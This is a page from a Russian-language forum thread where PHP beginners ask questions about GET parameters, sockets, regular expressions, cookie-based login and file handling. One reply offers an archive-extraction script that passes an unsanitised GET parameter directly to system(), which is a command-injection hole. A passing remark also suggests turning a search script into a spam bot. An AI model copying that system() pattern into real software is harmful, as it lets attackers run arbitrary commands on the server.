PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Meanor
09.03.2008, 23:18
тогда в каких случаях $a == $b может быть false, а $a === $b true? при одних и тех же $a и $b

<?php
$a = 1;
$b = '1';
if ($a == $b)
echo "== go on ...";
if ($a ===$b)
echo "=== go as well";

?>

выведет:
== go on ...

brasco2k
11.03.2008, 21:31
у меня такой вопрос:

есть часть кода :

if(!mysql_num_rows($result)) { die("Вы ввели неправильный email/пароль <script>document.location.href='/index.php?status=wrong'</script>"); }

а на страничке index.php нужно както высветится этому : Вы ввели неправильные данные..

у меня стоит такой код:

<?php if($status=='wrong') { echo "<td>Вы ввели неправильные логин или пароль!</td>"; } ?>

Почему не работает?? подскажите как надо////

zythar
11.03.2008, 21:39
надо так

if ($_GET[status]=='wrong') {
//код
}

astrologer
11.03.2008, 21:41
brasco2k, наверное, register_globals = off
Тогда надо так:
<?php
if($_GET['status'] == 'wrong') echo '<td>Вы ввели неправильные логин или пароль!</td>';
?>

gibson
11.03.2008, 21:41
у тя гет передается с параметром тебе нужно его выцепить т.е.

$status = $_GET['status'];

и дальше if($status=='wrong') гы гы гы

Piflit
11.03.2008, 21:53
gibson лучше не называть одинаково переменные в скрипте и переменные, которые передаются в запросе

brasco2k
11.03.2008, 22:24
надо так

if ($_GET[status]=='wrong') {
//код
}


О да спасибо)

просто не так чуть чкть делал))


if ($_GET[;status]=='wrong') {
//код
}


xDD

mr.The
11.03.2008, 23:19
дайте элементарный пример работы php с https (ssl). БЕЗ CURL!!!

мануалы на русском приветствуються
на англиском тоже прокатит =\

Isis
12.03.2008, 01:14
Only Curl

mr.The
12.03.2008, 01:31
неможет быть.
обычные сокеты (socket_... , а не fsockopen) должны уметь.

presidentua
12.03.2008, 02:13
неможет быть.
обычные сокеты (socket_... , а не fsockopen) должны уметь.
Isis прав. Юзай Курл.

Конечно можна сделать свою реализацию на сокетах, но при этом тебе нада реализовывать самому шифрования, а это не очень то просто и очень-очень долго.

mr.The
12.03.2008, 02:19
мде.... ладно спасибо. буду учить curl

))

SSB1981
12.03.2008, 21:44
Скажите: как определить работает ли set_time_limit(0) ?
Спасибо!

Meanor
12.03.2008, 22:25
Скажите: как определить работает ли set_time_limit(0) ?
Спасибо!
Любым бесконечным циклом (например while (1) echo 'ddr'; ) . Если лимита нет, или он очень большой, то скрипт не остановит свое действие.

Хотя зависит от того, для чего ты спрашиваешь. Если вопрос относится к серверу, не пренадлежащему тебе, то легальными способами никак...

NOmeR1
12.03.2008, 22:34
Скажите: как определить работает ли set_time_limit(0) ?
Спасибо!
<?php
var_dump(set_time_limit(0));
?>
Если bool(true) значит всё ок.

SSB1981
13.03.2008, 14:47
Спасибо!

Isis
13.03.2008, 15:21
<?php
if(function_exists('set_time_limit'))
echo 'Такайа функция есть';
?>

bul.666
13.03.2008, 15:50
Isis не тру. Если будет стоять safe_mode , то твой скипт выдаст как "такая функция есть", т.к. она определена в настройках

Zircool
13.03.2008, 16:21
Приведите пожалуста пример скрипта, основные функции обработка текста мз textarea, построчно... и затем использование каждого слова в сокет запросе и вывод результата на экран... Если еть у кого примеры выложите пож...

bul.666
13.03.2008, 16:35
Строки в textarea ресделяются \n
Передаются строкой.
Слова разделяются пробелом.
Ничего особого сдесь нету

Isis
13.03.2008, 16:48
bul.666, а условие для сейф мода добавить сложно?:)

Zircool
13.03.2008, 17:20
bul.666 примерчик можно..... когда видишь код, легче все понять...

bul.666
13.03.2008, 17:30
и затем использование каждого слова в сокет запросе и вывод результата на экран.
Тоесть каждый раз новый результат с новым словом?

.:EnoT:.
13.03.2008, 18:01
Zircool
Не понял куда текст тебе из текстареи пихать надо, поэтому в общих чертах это будет выглядеть так:
<?php
$text = 'Мего текст, супер текст, текст нах';
$mda = explode(" ", $text);
$kolvo = count($mda);
for($i=0; $i<=$kolvo; $i++)
{
#Работаем с сокетами
#$i Это слово
}
?>

k1b0rg
13.03.2008, 18:16
.:EnoT:.
for($i=0; $i<$kolvo; $i++)

xaker-boss
13.03.2008, 18:26
Люди помогите, нужен php-скрипт который запустиш и он рядом с ним лежащий орхив (123.rar) или (123.zip) разорхивирует в деректорию где лежит сам скрипт.
плиз

.:EnoT:.
13.03.2008, 18:29
k1b0rg
Не согласен)) хотя результат один и тот же.
Потому что при 6-м проходе цикла, когда $i будет равняться 6, то есть $i=count($mda), цикл пойдёт выводить 6-й элемент массива. Поэтому в данном случае имхо лучше использовать $i<=$kolvo, а не $i<$kolvo, хотя опять же говорю результат один и тот же...
Забыл добавить что $i это слово, а выводить надо вот так $mda[$i]
но эт уже мелочи)

NOmeR1
13.03.2008, 18:34
<?php
if(function_exists('set_time_limit'))
echo 'Такайа функция есть';
?>
function_exists проверяет фенкцию на существование, но не как ни на то, что она возвратит.

bul.666
13.03.2008, 18:35
2xaker-boss
http://ru2.php.net/manual/ru/ref.zip.php

bul.666
13.03.2008, 18:37
Забыл добавить что $i это слово, а выводить надо вот так $mda[$i]
$i не слово а ключ =))))))
$mda[$i] - слово ^^

.:EnoT:.
13.03.2008, 18:37
2xaker-boss
http://www.cms-service.ru/file-9.html
уже готовое, phplib это библиотека для работы с архивами, extract.php - файл для распаковки))

k1b0rg
13.03.2008, 18:43
k1b0rg
Не согласен)) хотя результат один и тот же.


count показывает кол-во элементов, в человеческой форме, т.е. с 1..
у тебя 6 слов, 6 элементов массива..

а цикл ты начинаешь от 0, т.к. элементы нумеруются с нуля, и поэтому цикл должен идти до count()-1

bul.666
13.03.2008, 19:11
цикл пойдёт выводить 6-й элемент массива.
Шестой элемент - не цифра шесть, а 5!
0 1 2 3 4 5

mouse.pro
13.03.2008, 19:35
Для Windows с rar и zip можно подругому работать )
Понадобится вот этот скрипт:

<pre>
<?
$archive = $_GET['archive'];
system("rar.exe e ".$archive);
?>
</pre>

и консольное rar приложение, которое находится в папке с WinRAR'ом (обычно это C:\Program Files\WinRAR\rar.exe) копируй его в папку с скриптом и все)
запускать так: http://site/script.php?archive=e 123.rar

ToniKapuchon
13.03.2008, 20:24
хочу авторизироваться на ramblere.... вот чё написал... но почему то не пашед??


<?


$host="rambler.ru";
$port="80";

$post="domain=rambler.ru&url=7&login=4444&passw=44444";
$httpq =
"POST http://rambler.ru/script/auth.cgi HTTP/1.1\r\n".
"Host: mail.rambler.ru\r\n".
"Referer: http://www.rambler.ru\r\n".
"Accept-Language: ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) \r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($post)."\r\n".$post;

$sock = fsockopen($host, $port, $errno, $errstr, 5);
if($sock)
{
fwrite($sock, $httpq);
$cont = fread($sock, 6500);

}

$xeka = file_get_contents('http://mail.rambler.ru/mail/startpage?');
echo $xeka;
?>

desTiny
13.03.2008, 20:33
хочу авторизироваться на ramblere.... вот чё написал... но почему то не пашед??
вот тут:
"Content-Length: ".strlen($post)."\r\n".$post;
надо
"Content-Length: ".strlen($post)."\r\n\r\n".$post;

ToniKapuchon
13.03.2008, 20:46
ответ один и тот же!!

bul.666
13.03.2008, 21:04
Читай ответ не
$xeka = file_get_contents('http://mail.rambler.ru/mail/startpage?');
echo $xeka;
а из сокета

$sock = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock, $httpq);
while(!feof($sock)) {
echo fread($sock, 128);
}
fclose($sock);

desTiny
13.03.2008, 21:06
хочу авторизироваться на ramblere.... вот чё написал... но почему то не пашед??
Стоп-стоп-стоп...

До сюда не дочитал, а надо бы:
$xeka = file_get_contents('http://mail.rambler.ru/mail/startpage?');
echo $xeka;

И откуда, спрашивается, рамблер узнает, кто ты? Ты бы ему куки для приличия передал!
Из своего $cont извлекаешь куки, а дальше АНАЛОГИЧНО первому запросу отправляешь request на http://mail.rambler.ru/mail/startpage? , но уже с извлечёнными куками!!!

ToniKapuchon
13.03.2008, 21:10
Читай ответ не

а из сокета

$sock = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock, $httpq);
while(!feof($sock)) {
echo fread($sock, 128);
}
fclose($sock);

HTTP/1.1 302 Moved Temporarily Server: nginx/0.6.26 Date: Thu, 13 Mar 2008 17:08:51 GMT Content-Type: text/html Content-Length: 161 Connection: close Location: http://www.rambler.ru/script/auth.cgi
302 Found

desTiny
13.03.2008, 21:12
HTTP/1.1 302 Moved Temporarily Server: nginx/0.6.26 Date: Thu, 13 Mar 2008 17:08:51 GMT Content-Type: text/html Content-Length: 161 Connection: close Location: http://www.rambler.ru/script/auth.cgi
302 Found
Ну, что я и говорил - кук нет - тебя и посылают в авторизацию!

ToniKapuchon
13.03.2008, 21:14
напиши плиз, как из ответа извлечь куки.... если не сложн!!

desTiny
13.03.2008, 21:21
В ответе($cont) есть строки вида:

Set-Cookie: rsid=123456789123456789123456789; domain=.rambler.ru; path=/; httponly
Set-Cookie: rlogin=12345@rambler.ru; domain=.rambler.ru; path=/

Находишь их, дальше берёшь rsid из одной(от знака равно до точки с запятой), сохраняншь в $rsid;
rlogin из второй(так же), сохраняншь в $rlogin;

а в запрос к startpage
пишешь

$httpq =
"GET http://что-то тута HTTP/1.1\r\n".
"Host: mail.rambler.ru\r\n".
"Referer: http://www.rambler.ru\r\n".
"Accept-Language: ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) \r\n".
"Cookie: rsid=".$rsid."; rlogin=".$rlogin;

desTiny
13.03.2008, 21:24
да, кстати, у тебя превый запрос тоже неправильный:

не
$httpq =
"POST http://rambler.ru/script/auth.cgi HTTP/1.1\r\n".

$httpq =
"POST http://mail.rambler.ru/script/auth.cgi HTTP/1.1\r\n".

Zircool
14.03.2008, 00:08
Проблемка маленькая написал скрипт для чека сайтов на пр... смасл таков в скрипте форма textarea вводишь в нее заголовки сайтов и скрипт чекает сайты на пр и выводит их....но скрипт почемцто выводит только пр последгнего сайта в списке... в чем может быть проблема..
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
echo "<form method='get'>
<textarea rows=15 cols=45 name=str></textarea></br>
</br>
<input type='submit' name='sub' value='Go!' /><br/>
</form>";



if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);

while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
}
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);

print "Сайт: $hosts[$i]<br>";
print "$got<br>";
}

}

?>

desTiny
14.03.2008, 10:58
Zircool,

вместо
$hosts=explode("\n", trim($zapros));
надо
$hosts=explode("\r\n", trim($zapros));

И вообще, дружите с отладчиком!

!{ra!{e/\/
14.03.2008, 14:56
как построить регулярное выражение чтоб присутствовали лолько
1.русские буквы
2.только числа

desTiny
14.03.2008, 15:12
1. ^[а-яА-Я]*$
2. ^[0-9]*$
(если не дробные)

edited

desTiny
14.03.2008, 15:17
А если дробные, то
^[0-9]*[0-9].[0-9][0-9]*$
(вместо . может быть ,)
если без ведущих нулей, то
^[1-9][0-9]*[0-9].[0-9][0-9]*$

а ещё и без последних:
^[1-9][0-9]*[0-9].0*[1-9][0-9]*[1-9]$

Isis
14.03.2008, 15:47
^[А-я0-9\.]$

desTiny
14.03.2008, 15:51
^[А-я0-9\.]$
Не совсем:
Вот такое вот не хорошо:
123.

ЗЫ А я понял, что надо по-отдельности...

ToniKapuchon
14.03.2008, 17:25
Опять помогите, пишу авторизацию на рамблере, вот что получается:

<?
//$xeka = file_get_contents('http://rambler.ru');

$host="mail.rambler.ru";
$port="80";

$post="domain=rambler.ru&url=7&login=ЛОГИНСВОЙ&passw=ПАРОЛЬ";
$httpq =
"POST http://mail.rambler.ru/script/auth.cgi HTTP/1.1\r\n".
"Host: mail.rambler.ru\r\n".
"Referer: http://www.rambler.ru\r\n".
"Accept-Language: ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) \r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($post)."\r\n\r\n".$post;

$sock = fsockopen($host, $port, $errno, $errstr, 5);
if($sock)
{
fwrite($sock, $httpq);
$cont = fread($sock, 6500);
fclose($sock);
}


ereg('[a-z0-9]{32}',$cont, $rsid);

ereg('([a-zA-Z0-9]+@[a-zA-Z0-9.]+(.[a-zA-Z0-9]))',$cont, $rlogin);


$usl1=ereg('http://id.rambler.ru/script/auth.cgi[?]mode=checkcookie;sid=[a-z0-9]{32};back=http%3A%2F%2Fmail.rambler.ru%2Fmail%2Fst artpage%3F[0-9]{4}', $cont, $outcode);
$mas=$outcode[0];
$xek = file_get_contents($mas);
ereg('mail.cgi[?]mode=mailbox;mbox=INBOX%26r%3D[a-z0-9]{4}', $xek, $sam);
ereg('http%3A%2F%2Fmail.rambler.ru%2Fmail%2Fstartp age%3F[0-9]{4}', $cont, $referer);
ereg('[0-9]{4}',$referer[0],$lodka);




$po='/mail/'.$sam[0];


$http2 =
"GET http://mail.rambler.ru".$po." HTTP/1.1\r\n".
"Host: mail.rambler.ru\r\n".
"Referer: http://mail.rambler.ru/mail/startpage?".$lodka[0]."\r\n".
"Accept-Language: ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) \r\n".
"Cookie: rsid=".$rsid[0]."; rlogin=".$rlogin[0].";\r\n\r\n";

$sock2 = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock2, $http2);

while(!feof($sock2))
{
echo fread($sock2,128);
}
fclose($sock2);

?>

При открытии етого скрипта загружается страница с твоими письмами на рамблере.... письма открылись и начинается затуп, какой то .... то ли джаваскрипты там так хавает... в чём дело подскажите!!

desTiny
14.03.2008, 17:29
Опять помогите, пишу авторизацию на рамблере, вот что получается:

При открытии етого скрипта загружается страница с твоими письмами на рамблере.... письма открылись и начинается затуп, какой то .... то ли джаваскрипты там так хавает... в чём дело подскажите!!
Хто начинается? о_0?

ToniKapuchon
14.03.2008, 17:46
страница до конца не грузиться!!

Doom123
14.03.2008, 17:50
Такой вопрос стоит AppServer 2.5.8 записываю в БД данные а мне выводит

Incorrect string value: '\xC4\xEE\xE1\xE0\xE2\xE8...' for column 'comment' at row 1

всё нашёл ответ надо было делать так сначала

('SET NAMES cp1251');

D Mak
14.03.2008, 18:21
ToniKapuchon
Опять помогите, пишу авторизацию на рамблере, вот что получается
почму сокеты дважды открываешь?

страница до конца не грузиться!!
может там аякс фича какая, а с твоими куками естессно не грузица..

ToniKapuchon
14.03.2008, 18:27
ToniKapuchon

почму сокеты дважды открываешь?


может там аякс фича какая, а с твоими куками естессно не грузица..


То что нужн оно загружает! а когда начинает грузить какуюто херь, типа ссылок на разработчиков рамблера.... начинается затуп!

Сокеты открываю два раза, потому что ламер ))) исправлюсь!

SlyFlex
14.03.2008, 20:08
читал статью про подпись на форуме (показывает ip, браузер), можно ли чтоб при открытие картинки png играла музыка. если да то как)

astrologer
14.03.2008, 20:56
читал статью про подпись на форуме (показывает ip, браузер), можно ли чтоб при открытие картинки png играла музыка. если да то как)нельзя

Ponchik
15.03.2008, 07:50
SlyFlex, я не совсем понял... Но если это у тебя на сайте хочеш замутить, то врубаеш музыку, делаеш функцию stop() при которой музыка престаёт играть и получается в бади <bod onload="stop()"> вот пока страница не загрузится будет играть музыка
(вот только я незнаю можно-ли останавливать музыку... Но палюбому это не по PHP вопрос, иди в js)

mr.The
15.03.2008, 15:20
Есть строка "bla bla bla... day=10 bla bla bla..."
нужно что бы после "day=(число)" добавилось ".11"
пробовал eregi_replace но он просто заменяет "day=(число)" на ".11"

k1b0rg
15.03.2008, 15:31
preg_replace

day=(\d+) заменить на \1.11

mr.The
15.03.2008, 15:38
всёравно заменяет =\
дай пример кода пжст.

SlyFlex
15.03.2008, 15:46
Ponchik, вообще я хочу чтоб на моей страничке "вконтакте" играла музыка.

bul.666
15.03.2008, 15:55
SlyFlex. Во первых чтобы картинка png обрабатывалсь как php файл надо доступ к .htaccess.
Во вторых это php а не JS.
В третьих доступа к HTML вконтакте у тебя нету (или есть? :D )

NOmeR1
15.03.2008, 15:56
всёравно заменяет =\
дай пример кода пжст.
Try this
$string = 'bla bla bla... day=10 bla bla bla...';
$new_string = preg_replace('~(day=\d+)~', '\\1.11', $string);

mr.The
15.03.2008, 16:08
NOmeR1
спс! а есть регистронезависимый вариант этой функции?

SlyFlex
15.03.2008, 16:14
SlyFlex. Во первых чтобы картинка png обрабатывалсь как php файл надо доступ к .htaccess.
Во вторых это php а не JS.
В третьих доступа к HTML вконтакте у тебя нету (или есть? :D )
я и не говорил, что это ява)
ну естественно у мя нет досиупа там к html...
значит я не смогу поставить музыку никак?(

rasl
15.03.2008, 19:03
как можно вывести текст на картинке ровно по центру ?
если пишеш координаты центра картинки то появляеться где то в правом боку!
короче как можно узнать длину ширину картинки и текста который мы пишем

ToniKapuchon
15.03.2008, 19:07
$sock = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock, $http2);
while(!feof($sock))
{

echo fread($sock, 128);

}

Получилась некоторая страничка, подскажите как мне обратиться к получившейся страничке! хочу с помощью ereg что то найти!?

zythar
15.03.2008, 19:16
как вариант. выводи инфу не в екран а в файл. потом открывай файл и ищи там
или же делай так

$sock = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock, $http2);
$content='';
while(!feof($sock))
{

$content .= fread($sock, 128);

}

//и тут уже делай с $content-ом твой ereg

desTiny
15.03.2008, 20:59
как можно вывести текст на картинке ровно по центру ?
если пишеш координаты центра картинки то появляеться где то в правом боку!
короче как можно узнать длину ширину картинки и текста который мы пишем
это уже по хтмлу вопрос...
как вариант:
<div style="background-image: 'hz.jpg'"><table height="100%" width="100%"><TR><TD>My TeXt iS HErE!</TD></TR></TABLE></div>

Если не напутал, то так...

Piflit
15.03.2008, 21:04
desTiny тут вариант с капчей скорее всего. нах тогда пхп?

desTiny
15.03.2008, 21:46
Piflit, автор пишет: если пишеш координаты центра картинки то появляеться где то в правом боку!

Видимо как раз картинка, а поверх - текст...

rasl
15.03.2008, 21:54
да да текст поверх

~X3RiX~
15.03.2008, 22:01
Получилась некоторая страничка, подскажите как мне обратиться к получившейся страничке! хочу с помощью ereg что то найти!?
пример: поисковик

<?php

set_time_limit(128);

if($_POST['act'])
{
$host = isset($_POST['host']) ? $_POST['host'] : "";
$path = isset($_POST['path']) ? $_POST['path'] : "";
$search = isset($_POST['search']) ? trim($_POST['search']) : "";

if(!$host && $port && $path && $time_out && $search)
{
echo("Заполни все поля!");
}
else
{
$sock = fsockopen($host, 80, $errno, $errstr, 4);
if(!$sock)
{
echo("$errstr ($errno)<br />\r\n");
}
else
{
$headers = "GET $path HTTP/1.1\r\n";
$headers.= "Host: $host\r\n";
$headers.= "Connection: Close\r\n\r\n";

fputs($sock, $headers);

while(!feof($sock))
{
$line = fgets($sock, 1024);

if(@preg_match("/.*$search+/i", $line))
{
$result[] = $line;
}
}
if($result)
{
echo("Результаты поиска:<br />\r\n");

for($i = 0; $i < count($result); $i++)
{
echo($result[$i]."<br />\r\n");
}
}
else
{
echo("Слово не найдено!");
}
}

fclose($sock);

}
}

print('<form action="'.$_SERVER['PHP_SELF'].'" method="post"><br />'."\r\n");
print('Host:<input type="text" name="host"><br />'."\r\n");
print('Path:<input type="text" name="path"><br />'."\r\n");
print('String:<input type="text" name="search"><br />'."\r\n");
print('<input type="submit" name="act" value="Go!">');
print('</form><br />'."\r\n");

?>
а если чуть потрудится :)) можно спам-бот написать!

чуть-чуть потрудиться придется!!! :rolleyes:

bul.666
15.03.2008, 22:04
echo("...");
print('...');

Зачем скобки? echo и print не "функции"

rasl
15.03.2008, 22:11
Надо текст выводимый поверх картинки расположить ровно по центру картинки!
В скрипте так
http://i034.radikal.ru/0803/c1/2e6599103f3a.jpg при указание координат центра картинки x50 y50
а надо вот так
http://i024.radikal.ru/0803/bb/99e2b55e5f4a.jpg при указание координат x35 y35


короче как узнать скока пикселей картинка и вписываемый поверх текст по ширине и высоте??????

~X3RiX~
15.03.2008, 22:16
echo("...");
print('...');

Зачем скобки? echo и print не "функции"

у каждого свои стиль программирования !

:cool:

Zircool
15.03.2008, 22:32
привет свем..Ребята такая проблема со скриптом... Скрипт для чека списка сайтов на Pr.. Но когда скписок вводишь он чекает но результат первого сайта приписывается всем остальным сайта... помогите разобраться...
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
echo "<form method='get'>
<textarea rows=15 cols=45 name=str></textarea></br>
</br>
<input type='submit' name='sub' value='Go!' /><br/>
</form>";
if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\r\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);

while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);
}

print "Сайт: $hosts[$i]<br>";
print "$got<br>";
}
}
?>

NOmeR1
15.03.2008, 22:40
NOmeR1
спс! а есть регистронезависимый вариант этой функции?
$string = 'bla bla bla... day=10 bla bla bla...';
$new_string = preg_replace('~(day=\d+)~i', '\\1.11', $string);
Всего лишь 1 символ добавил.

desTiny
15.03.2008, 22:58
привет свем..Ребята такая проблема со скриптом... Скрипт для чека списка сайтов на Pr.. Но когда скписок вводишь он чекает но результат первого сайта приписывается всем остальным сайта... помогите разобраться...
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
echo "<form method='get'>
<textarea rows=15 cols=45 name=str></textarea></br>
</br>
<input type='submit' name='sub' value='Go!' /><br/>
</form>";
if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\r\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);

while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);
}

print "Сайт: $hosts[$i]<br>";
print "$got<br>";
}
}
?>
Если это тот код, который ты давал раньше с моим исправлением, то лично у меня он работает :)

Zircool
15.03.2008, 23:03
desTiny да это тот скрипт, но посмотри на результат работы скрипта, все остальные сайты, пр которых ты хотел узнать, имеют то же пр что и первый сайт....

~X3RiX~
15.03.2008, 23:06
привет свем..Ребята такая проблема со скриптом... Скрипт для чека списка сайтов на Pr.. Но когда скписок вводишь он чекает но результат первого сайта приписывается всем остальным сайта... помогите разобраться...
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
echo "<form method='get'>
<textarea rows=15 cols=45 name=str></textarea></br>
</br>
<input type='submit' name='sub' value='Go!' /><br/>
</form>";
if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\r\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);

while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);
}

print "Сайт: $hosts[$i]<br>";
print "$got<br>";
}
}
?>


Держи!

<?php
Error_Reporting(E_ALL & ~E_NOTICE);
print('<form method="get">');
print('<textarea rows="15" cols="45" name="str"></textarea>'."<br />\r\n");
print('<input type="submit" name="sub" value="Go!" />'."<br />\r\n");
print('</form>');

if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\r\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);

}
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);
$data[] = $hosts[$i]."<br />\r\n".$got."\r\n";
unset($img);
}
for($i =0; $i < count($data); $i++)
{
print ('Сайт: '.$data[$i]."<br>\r\n");
}
}

?>

:o

все я спать!

spamoney
16.03.2008, 06:44
Всем, привет, нужна помощь по такому вопросу:

Вообщем нужно избавиться от внешних ссылок на сайте, можно ли написать такую функцию которая бы искала в тексте:

ссылку, допустим:
<a href="http://ssilka.ru/bla.html" target="_blank" title="http://ssilka.ru/bla.html">

и если, адрес не содержит адрес самого сайта (то есть моего сайта), то в функции происходила бы замена этого адреса на:

<a href="#" target="_blank" onclick="javascript:this.href='http'+'://ssilka.ru/bla.html'" onmouseover="this.href='http'+'://ssilka.ru/bla.html'">

ZET36
16.03.2008, 07:44
можно ли написать такую функцию которая бы искала в тексте:


можно


<?php
$fullitself='текст в котором будем искать';
$nachalo='словосочетание перед этим текстом который нужно найти';
$konec='словосочетание после этого текста который нужно найти';

$temp=explode($nachalo,$fullitself);
$semp=explode($konec,$temp[1]);
$negr=$semp[0];

echo $negr;
?>

!{ra!{e/\/
16.03.2008, 18:01
Передаю post на страницу

...........
$file1=$_FILES["myfile"];
...........
if (copy($file1['tmp_name'],"Z:\images\".$file1['name']))


выдает ошибку
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in Z:\home\localhost\www\load.php в строке
if (copy($file1['tmp_name'],"Z:\images\".$file1['name']))
что неправильно?

VDShark
16.03.2008, 18:34
http://ru2.php.net/move_uploaded_file ... наверное не просто так придумано =\

NOmeR1
16.03.2008, 19:09
VDShark, ога? А ничего что у него в синтаксе ошибка?
if (copy($file1['tmp_name'],"Z:\images\\".$file1['name']))

~X3RiX~
16.03.2008, 22:45
Всем, привет, нужна помощь по такому вопросу:

Вообщем нужно избавиться от внешних ссылок на сайте, можно ли написать такую функцию которая бы искала в тексте:

ссылку, допустим:
<a href="http://ssilka.ru/bla.html" target="_blank" title="http://ssilka.ru/bla.html">

и если, адрес не содержит адрес самого сайта (то есть моего сайта), то в функции происходила бы замена этого адреса на:

<a href="#" target="_blank" onclick="javascript:this.href='http'+'://ssilka.ru/bla.html'" onmouseover="this.href='http'+'://ssilka.ru/bla.html'">


подойдет!? :)

<?php

function fwr($code)
{
$handle = @fopen("new_text.html", "a");

fwrite($handle, $code."\r\n");

fclose($handle);
}

$fp = "./text.html";
$addr = "mysite.ru";

$handle = @fopen($fp, "r");

while(!feof($handle))
{
$line = fgets($handle, filesize($fp));

if(@preg_match("{(<a href.*=.*\"http:\/\/)(.+)(\">)(.+<\/a>)|(<a href.*=.*\"http:\/\/)(.+)(\/.*\">.+)(<\/a>)}i", $line, $matches))
{
$s = explode("/", $matches[2]);

if($code = preg_replace("|$s[0]|", $addr, $line))
{
fwr($code);
}
}
else
{
fwr($line);
}
}

fclose($handle);

?>

VDShark
17.03.2008, 00:09
VDShark, ога? А ничего что у него в синтаксе ошибка?
if (copy($file1['tmp_name'],"Z:\images\\".$file1['name']))
Я не к тому. Просто при copy - файл останется там же где был, просто создстся его копия. А move_uploaded_file именно переместит... можно конечно использовать потом удаление дополнительно, или rename... но зачем лишние телодвижения.

NOmeR1
17.03.2008, 00:13
Я не к тому. Просто при copy - файл останется там же где был, просто создстся его копия. А move_uploaded_file именно переместит... можно конечно использовать потом удаление дополнительно, или rename... но зачем лишние телодвижения.
Мда... А тэмповый файл, что не удаляется после копирования?

VDShark
17.03.2008, 00:32
Да, действительно - подзабыл :) Ща зарылся в доки и нашел что действительно удаляется... но эта функция все же не просто так была создана. Она проверяет действительно ли файл явл-ся загруженным на сервер, а не кто то там его подсунул или откедат взялся... Ну если эта проверка не нужна - тогда впринципе можно не париться.

NeLsOn
17.03.2008, 14:00
подскажите как сделать, чтоб функция читала из файла и вписывала содержимое в код?!

NeLsOn
17.03.2008, 14:30
усё ясненько ужо )

iron-viper
17.03.2008, 23:54
Сам спросил - сам ответил. Молодец! И главное 30 минут потратил на поиск варианта! Отлично!

i_am_banana
19.03.2008, 01:56
Скрипт для отображения картинок и текстовиков на серваке....ну эм типа мини галереи...
$listok='index.php';


if ($handle = opendir('./'))
{

echo "Ваши файлы:<BR><BR>";
while (false !== ($file = readdir($handle)))
{
if(is_file($file))
{
if($file!=$listok and $file!='style.css')
{
print"<table align='center' style='font-size:13;font-family:Comic Sans MS;width:300;height:200;border:solid black 1;'>\n";
print"<tr><th style='width:150px;'>\n";
print"<A HREF='$file' target='blank'>\n";
